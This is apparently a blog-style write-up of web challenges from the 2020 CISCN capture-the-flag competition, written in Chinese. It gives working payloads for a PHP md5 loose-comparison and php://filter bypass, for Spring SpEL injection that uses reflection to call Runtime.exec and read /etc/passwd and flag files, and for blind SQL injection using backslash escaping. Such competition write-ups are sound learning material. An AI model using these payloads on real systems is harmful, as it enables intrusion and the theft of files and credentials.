2020ciscn
Day 1
0x01 Web3
- 伪协议
- md5碰撞
file_get_contents($shell1)==='first blood'
利用php://input 来绕过
$shell2==md5($shell2)

利用PHP松散比较特性来绕过, **0e开头的字符串md5值也是0e开头即可绕过,**写脚本找到一个合适的数字: 0e215962017
1 | php > var_dump('0e215962017'=='0e291242476940776845150308577824'); |
$shell3 = preg_replace('/php/','',$shell3); 只过滤了一次php,并且没有对大小写限制
构造伪协议读取PHP://filter/read=convert.base64-encode/resource=flag.pphphp

脚本:
1 | import string,hashlib |
0x02 Web7
- Java反射
- Spel注入
SpEL,全称 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:
基础知识
数组
不可修改
不可修改的数组可以通过 {a, a, b} 实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList。
可修改
数组可以通过 {a, b + c} 实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable 了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList。
值得注意的是,这里可以通过 ArrayList.toArray() 生成 Object[]。
Map
Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMap 和 java.util.LinkedHashMap。创建的格式类似 JSON,这里就直接略过了。
[] 运算符
[] 运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值。
整体语法和 JS 类似,但是有一些例外。对于 String 而言,[] 只能通过下标访问字符,因此 ''['class'] 会报错而 ''.class 没有问题。
待确认
new
在 SpEL 中可以通过 new 来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new,因此题解中并没有用到。
T(class)
使用诸如 T(java.lang.Runtime) 的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(,因此本题没有用到。
尝试构造命令执行:java.lang.Runtime
首先是测了一下 WAF 过滤的内容:
java.langnewgetClassT(#StringgetMethod('exec').invoke()Runtimeexec(get(Root(Parent(list(
bulid阶段源码:
绕过 T(
由于 T( 被限制,因此我们需要通过另一种方式绕过 T(。这里我们使用的是 forName:
1 | `''.class.forName('java'+'.lang.R'+'untime')` |
获取 getRuntime
由于 getRuntime 存在被过滤单词,因此只能通过反射获取方法:
1 | `''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))` |
成功获得 Runtime 实例:

exec
使用类似的方法构造 exec,并尝试执行:
1 | `''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')` |
然而,执行的结果表明:使用了 openrasp:

由于 openrasp 不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。
尝试构造读取文件:java.nio
文件读取
绕过new(
Files.readAllBytes(Path.get("1122")) 没有new
尝试通过 java.nio 直接读取文件。尝试读取 /etc/passwd 的内容。
1 | `''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))` |
get(被WAF
绕过get(
既然限制了get(,那就反射出get()方法再invoke,不过需要实例化Path对象
查看javaapi手册,(1.7版本后Path成了Paths),Paths在java.nio.file.Paths中,其中有get方法可以构造一个path对象

需要URI参数,可以通过create方法构造URI对象''.class.forName('java.net.URI').create("file:///etc/passwd")

payload:''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').getMethod('get',''.class.forName('java.net.URI')).invoke(''.class.forName('java.nio.file.Paths'),''.class.forName('java.net.URI').create("file:///etc/passwd")))

这里直接返回了一个 byte[],看来是成功了。
逐字符获取
通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:
1 | arr = []; |
(然而之前翻车了


最终正常拼接得到结果。
直接读取

尝试用这种方法获取字符串:''.class.forName('java.nio.charset.StandardCharsets').UTF_8.decode(''.class.forName('java.NIO.ByteBuffer').wrap( payload ))
payload:''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').getMethod('get',''.class.forName('java.net.URI')).invoke(''.class.forName('java.nio.file.Paths'),''.class.forName('java.net.URI').create("file:///etc/passwd")))

然而尝试读取/flag发现没有, 不知道flag在哪里 所以尝试遍历目录
构造遍历目录方式
java.io.File中public String[] list(), 不过调用这个方法需要实例化对象,然而new被禁止了,所以找一下可以返回File对象的方法 ,找到listRoot方法

Demo 列出计算机所有根目录下的文件(展示list listRoot的用法):

listRoots[0].list()[0]即可查看第一个根目录下的第一个文件
payload:''.class.forName('java.io.File').getMethod('list').invoke(''.class.forName('java.io.File').getMethod('listRoots').invoke(''.class.forName('java.io.File'))[0])

用BP爆破一下,发现了flag的位置,


获取flag内容
直接就读出来了

然鹅…4点结束攻击环节… 4点01得出的答案…哭辽 原来flag在/flag.txt里面… 完全可以尝试猜到的,结果上一个题flag在/flag让我陷入思维定势,觉得flag都在/flag里面,就没继续尝试, 又费时间构造了遍历目录的方式
Day2
0x01 Web2
- sql过滤单引号
select * from users where username='$_POST["username"]' and password='$_POST["password"]'
过滤了单引号,但是没有过滤反斜杠\, 令username=admin\ ,password=or(2>1)#
这样语句就变成了:select * from users where username='admin\' and password='or(2>1)#'
<=>select * from users where username='****'or(2>1)#

;号php会自己加上,不需要我们传入
payload: or/**/(ascii(right(left(password,{i+1}),1))>{j})#
脚本:
1 | import requests |
这个题目思路没问题,但是怎么测试都不行…奇怪了
0x02 Web5
Fuzz一下被禁止的关键词, mid可用, select只被过滤了一次可以用来绕过其他被禁止的关键字
结果为真的话返回 Too young too simple, 假的话返回 Incorrect password
'or/**/'1'like'1'%00 真
'or/**/'1'like'1'# 假
fuzz了好长时间… 觉得逻辑非常奇怪,后来发现应该是注释符的问题…

Payload: 'or/**/subselectstr(password,1,1)like'w'%00

在burpsuite中爆破出密码 w31c0mE 4nd H ve FuN
转义字符被禁止了所以无法爆破下划线,百分号等特殊字符,
所以对密码进行爆破,空格地方用下划线代替,H ve中间爆破出是百分号

用帐号密码登录就可
ciscn{UjSmH9SCD6zuZUAc5g}
第一次在国赛上拿到3血的题目



